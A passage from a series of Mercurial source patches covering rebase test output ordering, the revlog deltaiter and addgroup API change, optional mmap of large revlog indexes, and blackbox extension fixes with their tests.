   $ hg rebase -s three -d two
-  rebasing 4:dd7c838e8362 "4" (tip three)
+  rebasing 4:dd7c838e8362 "4" (three tip)
   merging d
   warning: conflicts while merging d! (edit, then use 'hg resolve --mark')
   unresolved conflicts (see hg resolve, then hg rebase --continue)
diff --git a/tests/test-rebase-abort.t b/tests/test-rebase-abort.t
--- a/tests/test-rebase-abort.t
+++ b/tests/test-rebase-abort.t
@@ -266,7 +266,7 @@
   
 
   $ hg rebase -d master -r foo
-  rebasing 3:6c0f977a22d8 "C" (tip foo)
+  rebasing 3:6c0f977a22d8 "C" (foo tip)
   merging c
   warning: conflicts while merging c! (edit, then use 'hg resolve --mark')
   unresolved conflicts (see hg resolve, then hg rebase --continue)
@@ -306,7 +306,7 @@
   created new head
 
   $ hg rebase -d @ -b foo --tool=internal:fail
-  rebasing 2:070cf4580bb5 "b2" (tip foo)
+  rebasing 2:070cf4580bb5 "b2" (foo tip)
   unresolved conflicts (see hg resolve, then hg rebase --continue)
   [1]
 
diff --git a/tests/test-rebase-bookmarks.t b/tests/test-rebase-bookmarks.t
--- a/tests/test-rebase-bookmarks.t
+++ b/tests/test-rebase-bookmarks.t
@@ -96,7 +96,7 @@
   $ hg book W@diverge
 
   $ hg rebase -s W -d .
-  rebasing 3:41acb9dca9eb "D" (tip W)
+  rebasing 3:41acb9dca9eb "D" (W tip)
   saved backup bundle to $TESTTMP/a4/.hg/strip-backup/41acb9dca9eb-b35a6a63-rebase.hg (glob)
 
   $ hg bookmarks
@@ -208,5 +208,5 @@
   $ hg rebase -r '"bisect"^^::"bisect"^' -r bisect -d Z
   rebasing 5:345c90f326a4 "bisect"
   rebasing 6:f677a2907404 "bisect2"
-  rebasing 7:325c16001345 "bisect3" (tip bisect)
+  rebasing 7:325c16001345 "bisect3" (bisect tip)
   saved backup bundle to $TESTTMP/a3/.hg/strip-backup/345c90f326a4-b4840586-rebase.hg (glob)
diff --git a/tests/test-rebase-collapse.t b/tests/test-rebase-collapse.t
--- a/tests/test-rebase-collapse.t
+++ b/tests/test-rebase-collapse.t
@@ -792,7 +792,7 @@
   $ hg book foo
   $ hg rebase -d 0 -r "1::2" --collapse -m collapsed
   rebasing 1:6d8d9f24eec3 "a"
-  rebasing 2:1cc73eca5ecc "b" (tip foo)
+  rebasing 2:1cc73eca5ecc "b" (foo tip)
   saved backup bundle to $TESTTMP/collapseaddremove/.hg/strip-backup/6d8d9f24eec3-77d3b6e2-rebase.hg (glob)
   $ hg log -G --template "{rev}: '{desc}' {bookmarks}"
   @  1: 'collapsed' foo
diff --git a/tests/test-rebase-emptycommit.t b/tests/test-rebase-emptycommit.t
--- a/tests/test-rebase-emptycommit.t
+++ b/tests/test-rebase-emptycommit.t
@@ -77,12 +77,12 @@
 "BOOK-D", and "BOOK-E" include changes introduced by "C".
 
   $ hg rebase -s 2 -d E
-  rebasing 2:dc0947a82db8 "C" (C BOOK-C)
+  rebasing 2:dc0947a82db8 "C" (BOOK-C C)
   rebasing 3:e7b3f00ed42e "D" (BOOK-D)
   note: rebase of 3:e7b3f00ed42e created no changes to commit
   rebasing 4:69a34c08022a "E" (BOOK-E)
   note: rebase of 4:69a34c08022a created no changes to commit
-  rebasing 5:6b2aeab91270 "F" (F BOOK-F)
+  rebasing 5:6b2aeab91270 "F" (BOOK-F F)
   saved backup bundle to $TESTTMP/non-merge/.hg/strip-backup/dc0947a82db8-52bb4973-rebase.hg (glob)
   $ hg log -G -T '{rev} {desc} {bookmarks}'
   o  5 F BOOK-F
@@ -129,7 +129,7 @@
   note: rebase of 2:dc0947a82db8 created no changes to commit
   rebasing 3:b18e25de2cf5 "D" (BOOK-D)
   note: rebase of 3:b18e25de2cf5 created no changes to commit
-  rebasing 4:86a1f6686812 "E" (E BOOK-E)
+  rebasing 4:86a1f6686812 "E" (BOOK-E E)
   note: rebase of 4:86a1f6686812 created no changes to commit
   saved backup bundle to $TESTTMP/merge1/.hg/strip-backup/b18e25de2cf5-1fd0a4ba-rebase.hg (glob)
 
@@ -176,11 +176,11 @@
   $ hg rebase -r '(A::)-(B::)-A' -d H
   rebasing 2:dc0947a82db8 "C" (BOOK-C)
   note: rebase of 2:dc0947a82db8 created no changes to commit
-  rebasing 3:b18e25de2cf5 "D" (D BOOK-D)
-  rebasing 4:03ca77807e91 "E" (E BOOK-E)
+  rebasing 3:b18e25de2cf5 "D" (BOOK-D D)
+  rebasing 4:03ca77807e91 "E" (BOOK-E E)
   rebasing 5:ad6717a6a58e "F" (BOOK-F)
   note: rebase of 5:ad6717a6a58e created no changes to commit
-  rebasing 6:c58e8bdac1f4 "G" (G BOOK-G)
+  rebasing 6:c58e8bdac1f4 "G" (BOOK-G G)
   saved backup bundle to $TESTTMP/merge2/.hg/strip-backup/b18e25de2cf5-2d487005-rebase.hg (glob)
 
   $ hg log -G -T '{rev} {desc} {bookmarks}'
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -1251,7 +1251,7 @@
   $ hg bookmark book -i
   $ hg rebase -r B+D1 -d E
   rebasing 1:112478962961 "B" (B)
-  note: not rebasing 5:15ecf15e0114 "D1" (D1 tip book), already in destination as 2:0807738e0be9 "D2" (D2)
+  note: not rebasing 5:15ecf15e0114 "D1" (book D1 tip), already in destination as 2:0807738e0be9 "D2" (D2)
   $ hg log -G -T '{desc} {bookmarks}'
   @  B book
   |
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505924542 25200
#      Wed Sep 20 09:22:22 2017 -0700
# Node ID 1db9abf407c5a3fc57c45c7c1aa9613289709a05
# Parent  4f969b9e0cf5d4f2cfb7392cef7f43b74d17c5e4
revlog: add revmap back to revlog.addgroup

The recent c8b6ed51386b patch removed the linkmapper argument from addgroup, as
part of trying to make addgroup more agnostic from the changegroup format. It
turns out that the changegroup can't resolve linkrevs while iterating over the
deltas, because applying the deltas might affect the linkrev resolution. For
example, when applying a series of changelog entries, the linkmapper just
returns len(cl). If we're iterating over the deltas without applying them to the
changelog, this results in incorrect linkrevs. This was caught by the hgsql
extension, which reads the revisions before applying them.

The fix is to return linknodes as part of the delta iterator, and let the
consumer choose what to do.

Differential Revision: https://phab.mercurial-scm.org/D730

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -245,8 +245,8 @@
         # no new manifest will be created and the manifest group will
         # be empty during the pull
         self.manifestheader()
-        deltas = self.deltaiter(revmap)
-        repo.manifestlog._revlog.addgroup(deltas, trp)
+        deltas = self.deltaiter()
+        repo.manifestlog._revlog.addgroup(deltas, revmap, trp)
         repo.ui.progress(_('manifests'), None)
         self.callback = None
 
@@ -308,8 +308,8 @@
                 efiles.update(cl.readfiles(node))
 
             self.changelogheader()
-            deltas = self.deltaiter(csmap)
-            cgnodes = cl.addgroup(deltas, trp, addrevisioncb=onchangelog)
+            deltas = self.deltaiter()
+            cgnodes = cl.addgroup(deltas, csmap, trp, addrevisioncb=onchangelog)
             efiles = len(efiles)
 
             if not cgnodes:
@@ -430,7 +430,7 @@
             ret = deltaheads + 1
         return ret
 
-    def deltaiter(self, linkmapper):
+    def deltaiter(self):
         """
         returns an iterator of the deltas in this changegroup
 
@@ -446,10 +446,9 @@
             delta = chunkdata['delta']
             flags = chunkdata['flags']
 
-            link = linkmapper(cs)
             chain = node
 
-            yield (node, p1, p2, link, deltabase, delta, flags)
+            yield (node, p1, p2, cs, deltabase, delta, flags)
 
 class cg2unpacker(cg1unpacker):
     """Unpacker for cg2 streams.
@@ -491,8 +490,8 @@
             d = chunkdata["filename"]
             repo.ui.debug("adding %s revisions\n" % d)
             dirlog = repo.manifestlog._revlog.dirlog(d)
-            deltas = self.deltaiter(revmap)
-            if not dirlog.addgroup(deltas, trp):
+            deltas = self.deltaiter()
+            if not dirlog.addgroup(deltas, revmap, trp):
                 raise error.Abort(_("received dir revlog group is empty"))
 
 class headerlessfixup(object):
@@ -983,8 +982,8 @@
         fl = repo.file(f)
         o = len(fl)
         try:
-            deltas = source.deltaiter(revmap)
-            if not fl.addgroup(deltas, trp):
+            deltas = source.deltaiter()
+            if not fl.addgroup(deltas, revmap, trp):
                 raise error.Abort(_("received file revlog group is empty"))
         except error.CensoredBaseError as e:
             raise error.Abort(_("received delta base is censored: %s") % e)
diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -1910,7 +1910,7 @@
             ifh.write(data[1])
             self.checkinlinesize(transaction, ifh)
 
-    def addgroup(self, deltas, transaction, addrevisioncb=None):
+    def addgroup(self, deltas, linkmapper, transaction, addrevisioncb=None):
         """
         add a delta group
 
@@ -1944,7 +1944,8 @@
         try:
             # loop through our set of deltas
             for data in deltas:
-                node, p1, p2, link, deltabase, delta, flags = data
+                node, p1, p2, linknode, deltabase, delta, flags = data
+                link = linkmapper(linknode)
                 flags = flags or REVIDX_DEFAULT_FLAGS
 
                 nodes.append(node)
diff --git a/tests/test-revlog-raw.py b/tests/test-revlog-raw.py
--- a/tests/test-revlog-raw.py
+++ b/tests/test-revlog-raw.py
@@ -119,7 +119,7 @@
                     'deltabase': rlog.node(deltaparent),
                     'delta': rlog.revdiff(deltaparent, r)}
 
-        def deltaiter(self, linkmapper):
+        def deltaiter(self):
             chain = None
             for chunkdata in iter(lambda: self.deltachunk(chain), {}):
                 node = chunkdata['node']
@@ -130,17 +130,16 @@
                 delta = chunkdata['delta']
                 flags = chunkdata['flags']
 
-                link = linkmapper(cs)
                 chain = node
 
-                yield (node, p1, p2, link, deltabase, delta, flags)
+                yield (node, p1, p2, cs, deltabase, delta, flags)
 
     def linkmap(lnode):
         return rlog.rev(lnode)
 
     dlog = newrevlog(destname, recreate=True)
-    dummydeltas = dummychangegroup().deltaiter(linkmap)
-    dlog.addgroup(dummydeltas, tr)
+    dummydeltas = dummychangegroup().deltaiter()
+    dlog.addgroup(dummydeltas, linkmap, tr)
     return dlog
 
 def lowlevelcopy(rlog, tr, destname=b'_destrevlog.i'):
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505924910 25200
#      Wed Sep 20 09:28:30 2017 -0700
# Node ID 311f6ccf8f23733e8b327f903d6cda286cffe835
# Parent  1db9abf407c5a3fc57c45c7c1aa9613289709a05
debug: update debugbundle to use new deltaiter api

Changegroup now has a deltaiter api for easy iteration over a series of deltas.
Let's use that in the debugbundle command.

Differential Revision: https://phab.mercurial-scm.org/D744

diff --git a/mercurial/debugcommands.py b/mercurial/debugcommands.py
--- a/mercurial/debugcommands.py
+++ b/mercurial/debugcommands.py
@@ -263,18 +263,11 @@
 
         def showchunks(named):
             ui.write("\n%s%s\n" % (indent_string, named))
-            chain = None
-            for chunkdata in iter(lambda: gen.deltachunk(chain), {}):
-                node = chunkdata['node']
-                p1 = chunkdata['p1']
-                p2 = chunkdata['p2']
-                cs = chunkdata['cs']
-                deltabase = chunkdata['deltabase']
-                delta = chunkdata['delta']
+            for deltadata in gen.deltaiter():
+                node, p1, p2, cs, deltabase, delta, flags = deltadata
                 ui.write("%s%s %s %s %s %s %s\n" %
                          (indent_string, hex(node), hex(p1), hex(p2),
                           hex(cs), hex(deltabase), len(delta)))
-                chain = node
 
         chunkdata = gen.changelogheader()
         showchunks("changelog")
@@ -287,11 +280,9 @@
         if isinstance(gen, bundle2.unbundle20):
             raise error.Abort(_('use debugbundle2 for this file'))
         chunkdata = gen.changelogheader()
-        chain = None
-        for chunkdata in iter(lambda: gen.deltachunk(chain), {}):
-            node = chunkdata['node']
+        for deltadata in gen.deltaiter():
+            node, p1, p2, cs, deltabase, delta, flags = deltadata
             ui.write("%s%s\n" % (indent_string, hex(node)))
-            chain = node
 
 def _debugobsmarkers(ui, part, indent=0, **opts):
     """display version and markers contained in 'data'"""
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505925543 25200
#      Wed Sep 20 09:39:03 2017 -0700
# Node ID 0fe62d8bdd50e4606d892a54994c6e8f70521fa4
# Parent  311f6ccf8f23733e8b327f903d6cda286cffe835
bundlerepo: update to use new deltaiter api

Differential Revision: https://phab.mercurial-scm.org/D745

diff --git a/mercurial/bundlerepo.py b/mercurial/bundlerepo.py
--- a/mercurial/bundlerepo.py
+++ b/mercurial/bundlerepo.py
@@ -55,17 +55,9 @@
         self.bundle = bundle
         n = len(self)
         self.repotiprev = n - 1
-        chain = None
         self.bundlerevs = set() # used by 'bundle()' revset expression
-        getchunk = lambda: bundle.deltachunk(chain)
-        for chunkdata in iter(getchunk, {}):
-            node = chunkdata['node']
-            p1 = chunkdata['p1']
-            p2 = chunkdata['p2']
-            cs = chunkdata['cs']
-            deltabase = chunkdata['deltabase']
-            delta = chunkdata['delta']
-            flags = chunkdata['flags']
+        for deltadata in bundle.deltaiter():
+            node, p1, p2, cs, deltabase, delta, flags = deltadata
 
             size = len(delta)
             start = bundle.tell() - size
@@ -73,7 +65,6 @@
             link = linkmapper(cs)
             if node in self.nodemap:
                 # this can happen if two branches make the same change
-                chain = node
                 self.bundlerevs.add(self.nodemap[node])
                 continue
 
@@ -93,7 +84,6 @@
             self.index.insert(-1, e)
             self.nodemap[node] = n
             self.bundlerevs.add(n)
-            chain = node
             n += 1
 
     def _chunk(self, rev):
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505925345 25200
#      Wed Sep 20 09:35:45 2017 -0700
# Node ID 05131c963767faaac6a66b2c658659bfbb4db29b
# Parent  0fe62d8bdd50e4606d892a54994c6e8f70521fa4
changegroup: remove dictionary creation from deltachunk

Previously delta chunk returned a dictionary. Now that we consume deltachunk
within changegroup (instead of outside in revlog) we can just return a tuple and
have it be returned directly by deltaiter.

Differential Revision: https://phab.mercurial-scm.org/D746

diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -188,8 +188,7 @@
         header = struct.unpack(self.deltaheader, headerdata)
         delta = readexactly(self._stream, l - self.deltaheadersize)
         node, p1, p2, deltabase, cs, flags = self._deltaheader(header, prevnode)
-        return {'node': node, 'p1': p1, 'p2': p2, 'cs': cs,
-                'deltabase': deltabase, 'delta': delta, 'flags': flags}
+        return (node, p1, p2, cs, deltabase, delta, flags)
 
     def getchunks(self):
         """returns all the chunks contains in the bundle
@@ -438,17 +437,9 @@
         """
         chain = None
         for chunkdata in iter(lambda: self.deltachunk(chain), {}):
-            node = chunkdata['node']
-            p1 = chunkdata['p1']
-            p2 = chunkdata['p2']
-            cs = chunkdata['cs']
-            deltabase = chunkdata['deltabase']
-            delta = chunkdata['delta']
-            flags = chunkdata['flags']
-
-            chain = node
-
-            yield (node, p1, p2, cs, deltabase, delta, flags)
+            # Chunkdata: (node, p1, p2, cs, deltabase, delta, flags)
+            yield chunkdata
+            chain = chunkdata[0]
 
 class cg2unpacker(cg1unpacker):
     """Unpacker for cg2 streams.
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1505998474 25200
#      Thu Sep 21 05:54:34 2017 -0700
# Node ID 3bb2a9f25fe98c62076d2eae1b783ba5640685d5
# Parent  05131c963767faaac6a66b2c658659bfbb4db29b
util: add an mmapread method

This is useful for large files that are only partly touched.

Test Plan:
Will be used and tested in a later patch.

Differential Revision: https://phab.mercurial-scm.org/D476

diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -26,6 +26,7 @@
 import gc
 import hashlib
 import imp
+import mmap
 import os
 import platform as pyplatform
 import re as remod
@@ -407,6 +408,17 @@
             self._lenbuf += len(data)
             self._buffer.append(data)
 
+def mmapread(fp):
+    try:
+        fd = getattr(fp, 'fileno', lambda: fp)()
+        return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
+    except ValueError:
+        # Empty files cannot be mmapped, but mmapread should still work.  Check
+        # if the file is empty, and if so, return an empty buffer.
+        if os.fstat(fd).st_size == 0:
+            return ''
+        raise
+
 def popen2(cmd, env=None, newlines=False):
     # Setting bufsize to -1 lets the system decide the buffer size.
     # The default for bufsize is 0, meaning unbuffered. This leads to
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1505323586 0
#      Wed Sep 13 17:26:26 2017 +0000
# Node ID 3c96917282376912851e24cd1cf79c93427640f2
# Parent  3bb2a9f25fe98c62076d2eae1b783ba5640685d5
revlog: add option to mmap revlog index

Following on from Jun Wu's patch last October[1], we have found that using mmap
for the revlog index in repos with large revlogs gives a noticable performance
improvment (~110ms on each hg invocation), particularly for commands that don't
touch the index very much.

This changeset adds this as an option, activated by a new experimental config
option so that it can be enabled on a per-repo basis. The configuration option
specifies an index size threshold at which Mercurial will switch to using mmap
to access the index.

If the configuration option is not specified, the default remains to load the
full file, which seems to be the best option for smaller repos.

Some initial performance numbers for average of 5 invocations of `hg log -l 5`
for different cache states:

| Repo: | HG | FB |
|---|---|---|
| Index size: | 2.3MB | much bigger |
| read (warm): | 237ms | 432ms |
| mmap (warm): | 227ms | 321ms |
|   | (-3%) | (-26%) |
| read (cold): | 397ms | 696ms |
| mmap (cold): | 410ms | 888ms |
|   | (+3%) | (+28%) |

[1] https://www.mercurial-scm.org/pipermail/mercurial-devel/2016-October/088737.html

Test Plan:
`hg log --config experimental.mmapindex=true`

Differential Revision: https://phab.mercurial-scm.org/D477

diff --git a/mercurial/changelog.py b/mercurial/changelog.py
--- a/mercurial/changelog.py
+++ b/mercurial/changelog.py
@@ -277,7 +277,7 @@
 
         datafile = '00changelog.d'
         revlog.revlog.__init__(self, opener, indexfile, datafile=datafile,
-                               checkambig=True)
+                               checkambig=True, mmaplargeindex=True)
 
         if self._initempty:
             # changelogs don't benefit from generaldelta
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -604,6 +604,10 @@
         chainspan = self.ui.configbytes('experimental', 'maxdeltachainspan', -1)
         if 0 <= chainspan:
             self.svfs.options['maxdeltachainspan'] = chainspan
+        mmapindexthreshold = self.ui.configbytes('experimental',
+                                                 'mmapindexthreshold', None)
+        if mmapindexthreshold is not None:
+            self.svfs.options['mmapindexthreshold'] = mmapindexthreshold
 
         for r in self.requirements:
             if r.startswith('exp-compression-'):
diff --git a/mercurial/manifest.py b/mercurial/manifest.py
--- a/mercurial/manifest.py
+++ b/mercurial/manifest.py
@@ -1231,7 +1231,8 @@
 
         super(manifestrevlog, self).__init__(opener, indexfile,
                                              # only root indexfile is cached
-                                             checkambig=not bool(dir))
+                                             checkambig=not bool(dir),
+                                             mmaplargeindex=True)
 
     @property
     def fulltextcache(self):
diff --git a/mercurial/revlog.py b/mercurial/revlog.py
--- a/mercurial/revlog.py
+++ b/mercurial/revlog.py
@@ -268,8 +268,13 @@
 
     If checkambig, indexfile is opened with checkambig=True at
     writing, to avoid file stat ambiguity.
+
+    If mmaplargeindex is True, and an mmapindexthreshold is set, the
+    index will be mmapped rather than read if it is larger than the
+    configured threshold.
     """
-    def __init__(self, opener, indexfile, datafile=None, checkambig=False):
+    def __init__(self, opener, indexfile, datafile=None, checkambig=False,
+                 mmaplargeindex=False):
         """
         create a revlog object
 
@@ -301,6 +306,7 @@
         self._compengine = 'zlib'
         self._maxdeltachainspan = -1
 
+        mmapindexthreshold = None
         v = REVLOG_DEFAULT_VERSION
         opts = getattr(opener, 'options', None)
         if opts is not None:
@@ -323,6 +329,8 @@
                 self._compengine = opts['compengine']
             if 'maxdeltachainspan' in opts:
                 self._maxdeltachainspan = opts['maxdeltachainspan']
+            if mmaplargeindex and 'mmapindexthreshold' in opts:
+                mmapindexthreshold = opts['mmapindexthreshold']
 
         if self._chunkcachesize <= 0:
             raise RevlogError(_('revlog chunk cache size %r is not greater '
@@ -335,7 +343,11 @@
         self._initempty = True
         try:
             f = self.opener(self.indexfile)
-            indexdata = f.read()
+            if (mmapindexthreshold is not None and
+                    self.opener.fstat(f).st_size >= mmapindexthreshold):
+                indexdata = util.buffer(util.mmapread(f))
+            else:
+                indexdata = f.read()
             f.close()
             if len(indexdata) > 0:
                 v = versionformat_unpack(indexdata[:4])[0]
diff --git a/tests/test-revlog-mmapindex.t b/tests/test-revlog-mmapindex.t
new file mode 100644
--- /dev/null
+++ b/tests/test-revlog-mmapindex.t
@@ -0,0 +1,54 @@
+create verbosemmap.py
+  $ cat << EOF > verbosemmap.py
+  > # extension to make util.mmapread verbose
+  > 
+  > from __future__ import absolute_import
+  > 
+  > from mercurial import (
+  >     extensions,
+  >     util,
+  > )
+  > 
+  > def mmapread(orig, fp):
+  >     print "mmapping %s" % fp.name
+  >     return orig(fp)
+  > 
+  > def extsetup(ui):
+  >     extensions.wrapfunction(util, 'mmapread', mmapread)
+  > EOF
+
+setting up base repo
+  $ hg init a
+  $ cd a
+  $ touch a
+  $ hg add a
+  $ hg commit -qm base
+  $ for i in `$TESTDIR/seq.py 1 100` ; do
+  > echo $i > a
+  > hg commit -qm $i
+  > done
+
+set up verbosemmap extension
+  $ cat << EOF >> $HGRCPATH
+  > [extensions]
+  > verbosemmap=$TESTTMP/verbosemmap.py
+  > EOF
+
+mmap index which is now more than 4k long
+  $ hg log -l 5 -T '{rev}\n' --config experimental.mmapindexthreshold=4k
+  mmapping $TESTTMP/a/.hg/store/00changelog.i (glob)
+  100
+  99
+  98
+  97
+  96
+
+do not mmap index which is still less than 32k
+  $ hg log -l 5 -T '{rev}\n' --config experimental.mmapindexthreshold=32k
+  100
+  99
+  98
+  97
+  96
+
+  $ cd ..
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505174812 14400
#      Mon Sep 11 20:06:52 2017 -0400
# Node ID 7f02fb920121f09ba8869d2d1119c004e48b6d1c
# Parent  3c96917282376912851e24cd1cf79c93427640f2
tests: clean up blackbox test around aliases a little bit

diff --git a/tests/test-blackbox.t b/tests/test-blackbox.t
--- a/tests/test-blackbox.t
+++ b/tests/test-blackbox.t
@@ -21,13 +21,9 @@
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000+ (5000)> blackbox
 
 alias expansion is logged
+  $ rm ./.hg/blackbox.log
   $ hg confuse
   $ hg blackbox
-  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> init blackboxtest exited 0 after * seconds (glob)
-  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> add a
-  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> add a exited 0 after * seconds (glob)
-  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000+ (5000)> blackbox
-  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000+ (5000)> blackbox --config *blackbox.dirty=True* exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> confuse
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> alias 'confuse' expands to 'log --limit 3'
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> confuse exited 0 after * seconds (glob)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505174861 14400
#      Mon Sep 11 20:07:41 2017 -0400
# Node ID 25e1a8876cc0e12cf9a4bb270587ae5dbc289117
# Parent  7f02fb920121f09ba8869d2d1119c004e48b6d1c
tests: add a test for blackbox with nested alias configurations

I've observed some weirdness around this, and needed to rule some
things out. There aren't any bugs in core around this, but it was nice
to have confirmation.

diff --git a/tests/test-blackbox.t b/tests/test-blackbox.t
--- a/tests/test-blackbox.t
+++ b/tests/test-blackbox.t
@@ -6,6 +6,7 @@
   > mq=
   > [alias]
   > confuse = log --limit 3
+  > so-confusing = confuse --style compact
   > EOF
   $ hg init blackboxtest
   $ cd blackboxtest
@@ -29,6 +30,16 @@
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> confuse exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> blackbox
 
+recursive aliases work correctly
+  $ rm ./.hg/blackbox.log
+  $ hg so-confusing
+  $ hg blackbox
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> so-confusing
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> alias 'so-confusing' expands to 'confuse --style compact'
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> alias 'confuse' expands to 'log --limit 3'
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> so-confusing exited 0 after * seconds (glob)
+  1970/01/01 00:00:00 bob @0000000000000000000000000000000000000000 (5000)> blackbox
+
 incoming change tracking
 
 create two heads to verify that we only see one change in the log later
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506017017 25200
#      Thu Sep 21 11:03:37 2017 -0700
# Node ID b1d4ac0689616f0ad0624dc341cba7bf15df7900
# Parent  25e1a8876cc0e12cf9a4bb270587ae5dbc289117
blackbox: do not prevent 'chg init' from working

Previously, blackbox always appends to blackbox.log and creates the
directory for that file on demand. That could be an issue if:

  1. chg starts from `$REPO` directory, so `ui._bbrepo` is set.
  2. `rm -rf $REPO`.
  3. `chg init $REPO`, blackbox writes something and `init` will fail
     because `$REPO` directory is non-empty.

This patch fixes that by verifying whether vfs exists before re-using it.

Differential Revision: https://phab.mercurial-scm.org/D768

diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -77,9 +77,13 @@
     class blackboxui(ui.__class__):
         @property
         def _bbvfs(self):
+            vfs = None
             repo = getattr(self, '_bbrepo', None)
             if repo:
-                return repo.vfs
+                vfs = repo.vfs
+                if not vfs.isdir('.'):
+                    vfs = None
+            return vfs
 
         @util.propertycache
         def track(self):
@@ -136,6 +140,10 @@
 
             if not ui:
                 return
+            vfs = ui._bbvfs
+            if not vfs:
+                return
+
             repo = getattr(ui, '_bbrepo', None)
             if not lastui or repo:
                 lastui = ui
diff --git a/tests/test-blackbox.t b/tests/test-blackbox.t
--- a/tests/test-blackbox.t
+++ b/tests/test-blackbox.t
@@ -293,6 +293,13 @@
 
   $ cd ..
 
+With chg, blackbox should not create the log file if the repo is gone
+
+  $ hg init repo1
+  $ hg --config extensions.a=! -R repo1 log
+  $ rm -rf $TESTTMP/repo1
+  $ hg --config extensions.a=! init repo1
+
 #endif
 
 blackbox should work if repo.ui.log is not called (issue5518)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1506017420 25200
#      Thu Sep 21 11:10:20 2017 -0700
# Node ID e6723c939344cf816b531bace696bad2c5a0fb48
# Parent  b1d4ac0689616f0ad0624dc341cba7bf15df7900
blackbox: move _openlogfile to a separate method

This removes several `stat` syscalls for accessing `_bbvfs` and makes `ui`
object cleaner.

Differential Revision: https://phab.mercurial-scm.org/D769

diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -73,6 +73,40 @@
 
 lastui = None
 
+def _openlogfile(ui, vfs):
+    def rotate(oldpath, newpath):
+        try:
+            vfs.unlink(newpath)
+        except OSError as err:
+            if err.errno != errno.ENOENT:
+                ui.debug("warning: cannot remove '%s': %s\n" %
+                         (newpath, err.strerror))
+        try:
+            if newpath:
+                vfs.rename(oldpath, newpath)
+        except OSError as err:
+            if err.errno != errno.ENOENT:
+                ui.debug("warning: cannot rename '%s' to '%s': %s\n" %
+                         (newpath, oldpath, err.strerror))
+
+    maxsize = ui.configbytes('blackbox', 'maxsize')
+    name = 'blackbox.log'
+    if maxsize > 0:
+        try:
+            st = vfs.stat(name)
+        except OSError:
+            pass
+        else:
+            if st.st_size >= maxsize:
+                path = vfs.join(name)
+                maxfiles = ui.configint('blackbox', 'maxfiles', 7)
+                for i in xrange(maxfiles - 1, 1, -1):
+                    rotate(oldpath='%s.%d' % (path, i - 1),
+                           newpath='%s.%d' % (path, i))
+                rotate(oldpath=path,
+                       newpath=maxfiles > 0 and path + '.1')
+    return vfs(name, 'a')
+
 def wrapui(ui):
     class blackboxui(ui.__class__):
         @property
@@ -89,40 +123,6 @@
         def track(self):
             return self.configlist('blackbox', 'track', ['*'])
 
-        def _openlogfile(self):
-            def rotate(oldpath, newpath):
-                try:
-                    self._bbvfs.unlink(newpath)
-                except OSError as err:
-                    if err.errno != errno.ENOENT:
-                        self.debug("warning: cannot remove '%s': %s\n" %
-                                   (newpath, err.strerror))
-                try:
-                    if newpath:
-                        self._bbvfs.rename(oldpath, newpath)
-                except OSError as err:
-                    if err.errno != errno.ENOENT:
-                        self.debug("warning: cannot rename '%s' to '%s': %s\n" %
-                                   (newpath, oldpath, err.strerror))
-
-            maxsize = self.configbytes('blackbox', 'maxsize')
-            name = 'blackbox.log'
-            if maxsize > 0:
-                try:
-                    st = self._bbvfs.stat(name)
-                except OSError:
-                    pass
-                else:
-                    if st.st_size >= maxsize:
-                        path = self._bbvfs.join(name)
-                        maxfiles = self.configint('blackbox', 'maxfiles', 7)
-                        for i in xrange(maxfiles - 1, 1, -1):
-                            rotate(oldpath='%s.%d' % (path, i - 1),
-                                   newpath='%s.%d' % (path, i))
-                        rotate(oldpath=path,
-                               newpath=maxfiles > 0 and path + '.1')
-            return self._bbvfs(name, 'a')
-
         def log(self, event, *msg, **opts):
             global lastui
             super(blackboxui, self).log(event, *msg, **opts)
@@ -172,7 +172,7 @@
             try:
                 fmt = '%s %s @%s%s (%s)%s> %s'
                 args = (date, user, rev, changed, pid, src, formattedmsg)
-                with ui._openlogfile() as fp:
+                with _openlogfile(ui, vfs) as fp:
                     fp.write(fmt % args)
             except (IOError, OSError) as err:
                 self.debug('warning: cannot write to blackbox.log: %s\n' %
# HG changeset patch
